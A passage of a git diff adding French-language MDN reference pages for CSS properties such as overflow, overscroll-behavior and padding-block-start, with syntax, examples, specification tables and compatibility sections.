+<p><strong>Note </strong>: Lorsqu'on définit, via un script, la propriété <code>scrollTop</code> sur les éléments HTML pertinents, même lorsque <code>overflow</code> vaut <code>hidden</code>, il faut parfois faire défiler l'élément.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overflow: visible;
+overflow: hidden;
+overflow: clip;
+overflow: scroll;
+overflow: auto;
+overflow: hidden visible;
+
+/* Valeurs globales */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+</pre>
+
+<p>La propriété <code>overflow</code> peut être définie grâce à un ou deux des mots-clés suivants. Si deux mots-clés sont utilisé, le premier sera appliqué à <code>overflow-x</code> et le second à <code>overflow-y</code>. Si une seule valeur est utilisée, elle sera appliquée à <code>overflow-x</code> et à <code>overflow-y</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>La valeur par défaut. Le contenu n'est pas rogné. Le contenu peut éventuellement être affiché en dehors de la boîte de remplissage (<em>padding</em>).</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Le contenu est rogné si besoin pour s'inscrire dans la boîte de remplissage (<em>padding</em>) et aucune barre de défilement n'est affichée.</dd>
+ <dt><code>clip</code></dt>
+ <dd>Se comporte comme <code>hidden</code> au sens où le contenu est rogné pour s'inscrire dans la boîte de remplissage. Comme <code>hidden</code>, <code>clip</code> ne présente pas de barre de défilement mais contrairement à <code>hidden</code>, <code>clip</code> empêche tout défilement, y compris à l'aide de scripts. La boîte n'est pas un conteneur de défilement et ne définit pas de nouveau contexte de formatage. Si on souhaite obtenir un nouveau contexte de formatage, il faudra utiliser {{cssxref("display", "display: flow-root", "#flow-root")}}.<br>
+ Certains navigateurs ne prennent pas encore cette fonctionnalité en charge.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Le contenu est rogné pour s'inscrire dans la boîte de remplissage (<em>padding</em>) et les navigateurs de bureau affichent des barres de défilement dans tous les cas. Cela évite d'avoir des barres qui apparaissent et disparaissent sans cesse avec du contenu dynamique. Les imprimantes peuvent éventuellement imprimer le contenu qui dépasse.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le comportement est laissé à la discrétion de l'agent utilisateur. Les navigateurs comme Firefox affichent des ascenseurs si le contenu dépasse dans la boîte de remplissage (<em>padding</em>)</dd>
+ <dt><code>overlay</code> {{Deprecated_inline}}</dt>
+ <dd>Cette valeur se comporte comme <code>auto</code> sauf que les barres de défilement sont au-dessus du contenu plutôt que de prendre de la place. Cette valeur est uniquement prise en charge par les navigateurs basés sur WebKit (Safari) ou Blink (Chrome, Opera).</dd>
+</dl>
+
+<h4 id="Extensions_propres_au_moteur_Mozilla">Extensions propres au moteur Mozilla</h4>
+
+<dl>
+ <dt><code>-moz-scrollbars-none </code>{{obsolete_inline}}</dt>
+ <dd><code>overflow:hidden</code> doit être utilisé à la place.
+ <p class="note"><strong>Note :</strong> À partir de Firefox 63, cette fonctionnalité est placée derrière une préférence qui doit être activée. Dans <code>about:config</code>, il faut passer <code>layout.css.overflow.moz-scrollbars.enabled</code> à <code>true</code>.</p>
+ </dd>
+ <dt><code>-moz-scrollbars-horizontal </code>{{Deprecated_inline}}</dt>
+ <dd>Utilisez {{cssxref("overflow-x")}} et {{cssxref("overflow-y")}} à la place.
+ <p class="note"><strong>Note :</strong> À partir de Firefox 63, cette fonctionnalité est placée derrière une préférence qui doit être activée. Dans <code>about:config</code>, il faut passer <code>layout.css.overflow.moz-scrollbars.enabled</code> à <code>true</code>.</p>
+ </dd>
+ <dt><code>-moz-scrollbars-vertical </code>{{Deprecated_inline}}</dt>
+ <dd>Utilisez {{cssxref("overflow-x")}} et {{cssxref("overflow-y")}} à la place.
+ <p class="note"><strong>Note :</strong> À partir de Firefox 63, cette fonctionnalité est placée derrière une préférence qui doit être activée. Dans <code>about:config</code>, il faut passer <code>layout.css.overflow.moz-scrollbars.enabled</code> à <code>true</code>.</p>
+ </dd>
+ <dt><code>-moz-hidden-unscrollable</code> {{non-standard_inline}}</dt>
+ <dd>Principalement utilisé en interne et par les thèmes. Cela désactive le défilement pour les éléments XML racines <code>&lt;html&gt;</code>, <code> &lt;body&gt;</code> (avec les flèches du clavier et la roue de la souris).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">p {
+  width: 12em;
+  height: 6em;
+  border: dotted;
+
+  /* le contenu n'est pas rogné */
+  overflow: visible;
+}
+</pre>
+
+<p style="overflow: visible; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>visible</code> (default)<br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p {
+  /* pas d'ascenseur fourni */
+  overflow: hidden;
+}
+</pre>
+
+<p style="overflow: hidden; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: hidden</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p {
+  /* les ascenseurs sont toujours affichés */
+  overflow: scroll;
+}
+</pre>
+
+<p style="overflow: scroll; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: scroll</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p {
+  /* les ascenseurs sont affichés si nécessaires */
+  overflow: auto;
+}
+</pre>
+
+<p style="overflow: auto; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: auto</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td>La syntaxe permet désormais d'utiliser une ou deux valeurs.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.overflow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-overflow")}},</li>
+ <li>{{cssxref("white-space")}},</li>
+ <li>{{cssxref("overflow-x")}},</li>
+ <li>{{cssxref("overflow-y")}},</li>
+ <li>{{cssxref("overflow-inline")}},</li>
+ <li>{{cssxref("overflow-block")}},</li>
+ <li>{{cssxref("clip")}},</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/css/overscroll-behavior-x/index.html b/files/fr/web/css/overscroll-behavior-x/index.html
new file mode 100644
index 0000000000..e061936d92
--- /dev/null
+++ b/files/fr/web/css/overscroll-behavior-x/index.html
@@ -0,0 +1,98 @@
+---
+title: overscroll-behavior-x
+slug: Web/CSS/overscroll-behavior-x
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/overscroll-behavior-x
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>overscroll-behavior-x</code></strong> définit le comportement de l'agent utilisateur lorsqu'on atteint la limite de la zone de défilement sur l'axe horizontal.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Voir {{cssxref("overscroll-behavior")}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overscroll-behavior-x: auto;
+overscroll-behavior-x: contain;
+overscroll-behavior-x: none;
+
+/* Valeurs globales */
+overscroll-behavior-x: inherit;
+overscroll-behavior-x: initial;
+overscroll-behavior-x: unset;
+</pre>
+
+<p>La propriété <code>overscroll-behavior-x</code> est définie avec un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le dépassement de la zone de défilement se déroule normalement.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Le comportement normal est utilisé à l'intérieur de l'élément pour lequel s'applique cette valeur (on a donc un effet de rebondissement) mais aucun effet associé n'a lieu sur les zones de défilement environnantes. Autrement dit, les éléments sous-jacents ne défilent pas.</dd>
+ <dt><code>none</code></dt>
+ <dd>Il n'y a pas d'effet associé sur les zones de défilement environnantes et on empêche le comportement normal de se produire sur l'élément lorsqu'on dépasse de la zone de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple <a href="https://mdn.github.io/css-examples/overscroll-behavior/overscroll-behavior-x"><code>overscroll-behavior-x</code> </a> (cf. <a href="https://github.com/mdn/css-examples/blob/master/overscroll-behavior/overscroll-behavior-x.html">le code source</a> associé), on dispose de deux boîtes de bloc, l'une contenue à l'intérieure de l'autre. La boîte englobante possède une grande largeur avec {{cssxref("width")}} afin que la page puisse défiler horizontalement. La boîte intérieure a une petite largeur (et une petite hauteur, définie avec {{cssxref("height")}}) afin de pouvoir être facilement contenue dans la zone d'affichage mais son contenu possède une grande largeur afin de défiler horizontalement.</p>
+
+<p>Par défaut, lorsqu'on fait défiler la boîte intérieure et qu'on atteint une limite de défilement, c'est toute la page qui commence à défiler. Si ce n'est pas le comportement souhaité, on peut empêcher ça en utilisant <code>overscroll-behavior-x: contain</code> sur la boîte intérieure :</p>
+
+<pre class="brush: css">main &gt; div {
+  height: 300px;
+  width: 500px;
+  overflow: auto;
+  position: relative;
+  top: 100px;
+  left: 100px;
+  overscroll-behavior-x: contain;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior-x', 'overscroll-behavior-x')}}</td>
+   <td>{{Spec2('Overscroll Behavior')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overscroll-behavior-x")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2017/11/overscroll-behavior#demo">Take control of your scroll: customizing pull-to-refresh and overflow effects (en anglais)</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/overscroll-behavior-y/index.html b/files/fr/web/css/overscroll-behavior-y/index.html
new file mode 100644
index 0000000000..5cf1ba394b
--- /dev/null
+++ b/files/fr/web/css/overscroll-behavior-y/index.html
@@ -0,0 +1,92 @@
+---
+title: overscroll-behavior-y
+slug: Web/CSS/overscroll-behavior-y
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/overscroll-behavior-y
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>overscroll-behavior-y</code></strong> permet de contrôler le comportement de l'agent utilisateur lorsqu'on atteint la limite de la zone de défilement sur l'axe vertical.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Voir {{cssxref("overscroll-behavior")}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+overscroll-behavior-y: auto;
+overscroll-behavior-y: contain;
+overscroll-behavior-y: none;
+
+/* Valeurs globales */
+overscroll-behavior-y: inherit;
+overscroll-behavior-y: initial;
+overscroll-behavior-y: unset;
+</pre>
+
+<p>La propriété <code>overscroll-behavior-x</code> est définie avec un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le dépassement de la zone de défilement se déroule normalement.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Le comportement normal est utilisé à l'intérieur de l'élément pour lequel s'applique cette valeur (on a donc un effet de rebondissement) mais aucun effet associé n'a lieu sur les zones de défilement environnantes. Autrement dit, les éléments sous-jacents ne défilent pas.</dd>
+ <dt><code>none</code></dt>
+ <dd>Il n'y a pas d'effet associé sur les zones de défilement environnantes et on empêche le comportement normal de se produire sur l'élément lorsqu'on dépasse de la zone de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.messages {
+  height: 220px;
+  overflow: auto;
+  overscroll-behavior-y: contain;
+}</pre>
+
+<p>Voir {{cssxref("overscroll-behavior")}}  pour un exemple complet et plus de détails.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior-y', 'overscroll-behavior-y')}}</td>
+   <td>{{Spec2('Overscroll Behavior')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overscroll-behavior-y")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2017/11/overscroll-behavior#demo">Take control of your scroll: customizing pull-to-refresh and overflow effects (en anglais)</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/overscroll-behavior/index.html b/files/fr/web/css/overscroll-behavior/index.html
new file mode 100644
index 0000000000..e54eac7aa3
--- /dev/null
+++ b/files/fr/web/css/overscroll-behavior/index.html
@@ -0,0 +1,109 @@
+---
+title: overscroll-behavior
+slug: Web/CSS/overscroll-behavior
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/overscroll-behavior
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>overscroll-behavior</code></strong> est une propriété raccourcie permettant de définir les propriétés {{cssxref("overscroll-behavior-x")}} et {{cssxref("overscroll-behavior-y")}}. Ces propriétés contrôlent le comportement du navigateur lorsqu'on dépasse la limite d'une zone de défilement (<em>scrolling</em>).</p>
+
+<p>Par défaut, les navigateurs mobiles fournissent un effet de rebondissement voire déclenchent un rafraîchissement de la page lorsqu'on défile jusqu'en haut ou jusqu'en bas de la page. Vous avez pu remarquer que, lorsqu'une boîte de dialogue possède du contenu qu'on peut faire défiler, si on atteint la limite de défilement pour ce contenu, c'est la page sous-jacente qui défilera sous la boîte de dialogue : c'est ce qu'on appelle <strong>le chaînage du défilement</strong> (<em>scroll chaining</em>).</p>
+
+<p>Dans certains cas, ces effets ne sont pas souhaitables. On peut alors utiliser <code>overscroll-behavior</code> pour éviter les chaînages intempestifs et les comportements du type "défiler pour rafraîchir".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clés */
+overscroll-behavior: auto;
+overscroll-behavior: contain;
+overscroll-behavior: none;
+
+/* Valeurs avec deux mots-clés */
+overscroll-behavior: auto contain;
+
+/* Valeurs globales */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+</pre>
+
+<p>La propriété <code>overscroll-behavior</code> est définie avec un ou deux mots-clés parmi ceux de la liste ci-après.</p>
+
+<p>Lorsqu'on utilise cette propriété raccourcie avec deux valeurs, la première est utilisée pour <code>overscroll-behavior-x</code> et la seconde pour <code>overscroll-behavior-y</code>. Si une seule valeur est fournie, c'est cette même valeur qui est utilisée pour les deux propriétés.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le dépassement de la zone de défilement se déroule normalement.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Le comportement normal est utilisé à l'intérieur de l'élément pour lequel s'applique cette valeur (on a donc un effet de rebondissement) mais aucun effet associé n'a lieu sur les zones de défilement environnantes. Autrement dit, les éléments sous-jacents ne défilent pas.</dd>
+ <dt><code>none</code></dt>
+ <dd>Il n'y a pas d'effet associé sur les zones de défilement environnantes et on empêche le comportement normal de se produire sur l'élément lorsqu'on dépasse de la zone de défilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans notre exemple sur <code><a href="https://mdn.github.io/css-examples/overscroll-behavior/">overscroll-behavior</a></code> (cf. <a href="https://github.com/mdn/css-examples/tree/master/overscroll-behavior">le code source</a> associé), on affiche une page entière de contacts et une boîte de dialogue avec une fenêtre de discussion. </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15778/example.png" style="border-style: solid; border-width: 1px; display: block; height: 622px; margin: 0px auto; width: 350px;"></p>
+
+<p>Ces deux zones possèdent du contenu qui entraîne leur défilement. Normalement, si on défile la fenêtre de discussion jusqu'à une limite de défilement, ce serait au tour de la liste de contacts de défiler en dessous. Cependant, cet effet n'est pas souhaitable ici. On utilise donc <code>overscroll-behavior-y</code> (<code>overscroll-behavior</code> fonctionnerait également) sur la fenêtre de discussion :</p>
+
+<pre class="brush: css">.messages {
+  height: 220px;
+  overflow: auto;
+  overscroll-behavior-y: contain;
+} </pre>
+
+<p>On souhaite également se débarasser des effets de bord lorsqu'on défile jusqu'en haut ou jusqu'en bas de la liste des contacts (Chrome pour Android rafraichit la page lorsqu'on défile après la limite haute par exemple). Pour cela, on utilise <code>overscroll-behavior: none</code> sur l'élément {{htmlelement("body")}} :</p>
+
+<pre class="brush: css">body {
+  margin: 0;
+  overscroll-behavior: none;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Jusqu'à ce que le CSSWG publie son propre brouillon, la spécification est consutable sur <a href="https://wicg.github.io/overscroll-behavior/">le dépôt GitHub du WICG</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Overscroll Behavior', '#propdef-overscroll-behavior', 'overscroll-behavior')}}</td>
+   <td>{{Spec2('CSS Overscroll Behavior')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.overscroll-behavior")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2017/11/overscroll-behavior#demo">Take control of your scroll: customizing pull-to-refresh and overflow effects (en anglais)</a></li>
+ <li>{{cssxref("-ms-scroll-chaining")}}</li>
+</ul>
diff --git a/files/fr/web/css/padding-block-end/index.html b/files/fr/web/css/padding-block-end/index.html
new file mode 100644
index 0000000000..cc97778ece
--- /dev/null
+++ b/files/fr/web/css/padding-block-end/index.html
@@ -0,0 +1,114 @@
+---
+title: padding-block-end
+slug: Web/CSS/padding-block-end
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-block-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>padding-block-end</code></strong> définit le début logique de la zone de remplissage d'un élément de bloc. Cette propriété logique est traduite en une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs qui sont utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Elle est à rapprocher des propriétés {{cssxref("padding-block-start")}}, {{cssxref("padding-inline-start")}} et {{cssxref("padding-inline-end")}} qui définissent les autres écarts de remplissage logiques d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-block-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-block-end: 10px;
+padding-block-end: 1em;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-block-end: 5%;  /* Relatif à la largeur du bloc englobant */
+
+/* Valeurs globales */
+padding-block-end: inherit;
+padding-block-end: initial;
+padding-block-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>padding-block-end</code> peut prendre les mêmes valeurs que la propriété {{cssxref("padding-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple et Lorem et IP sum&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  padding-block-end: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-block-end", "padding-block-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-block-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("padding-top")}},</li>
+   <li>{{cssxref("padding-right")}},</li>
+   <li>{{cssxref("padding-bottom")}},</li>
+   <li>{{cssxref("padding-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}},</li>
+ <li>{{cssxref("direction")}},</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/padding-block-start/index.html b/files/fr/web/css/padding-block-start/index.html
new file mode 100644
index 0000000000..2af0e4d6fc
--- /dev/null
+++ b/files/fr/web/css/padding-block-start/index.html
@@ -0,0 +1,114 @@
+---
+title: padding-block-start
+slug: Web/CSS/padding-block-start
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-block-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>padding-block-start</code></strong> définit le début logique de la zone de remplissage d'un élément de bloc. Cette propriété logique est traduite en une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs qui sont utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Elle est à rapprocher des propriétés {{cssxref("padding-block-end")}}, {{cssxref("padding-inline-start")}} et {{cssxref("padding-inline-end")}} qui définissent les autres écarts de remplissage logiques d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-block-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-block-start: 10px;
+padding-block-start: 1em;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-block-start: 5%;  /* Relatif à la largeur du bloc englobant */
+
+/* Valeurs globales */
+padding-block-start: inherit;
+padding-block-start: initial;
+padding-block-start: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>padding-block-start</code> peut prendre les mêmes valeurs que la propriété {{cssxref("padding-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple et Lorem et IP sum&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  padding-block-start: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-block-start", "padding-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-block-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("padding-top")}},</li>
+   <li>{{cssxref("padding-right")}},</li>
+   <li>{{cssxref("padding-bottom")}},</li>
+   <li>{{cssxref("padding-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}},</li>
+ <li>{{cssxref("direction")}},</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/padding-block/index.html b/files/fr/web/css/padding-block/index.html
new file mode 100644
index 0000000000..80025dd82e
--- /dev/null
+++ b/files/fr/web/css/padding-block/index.html
@@ -0,0 +1,116 @@
+---
+title: padding-block
+slug: Web/CSS/padding-block
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
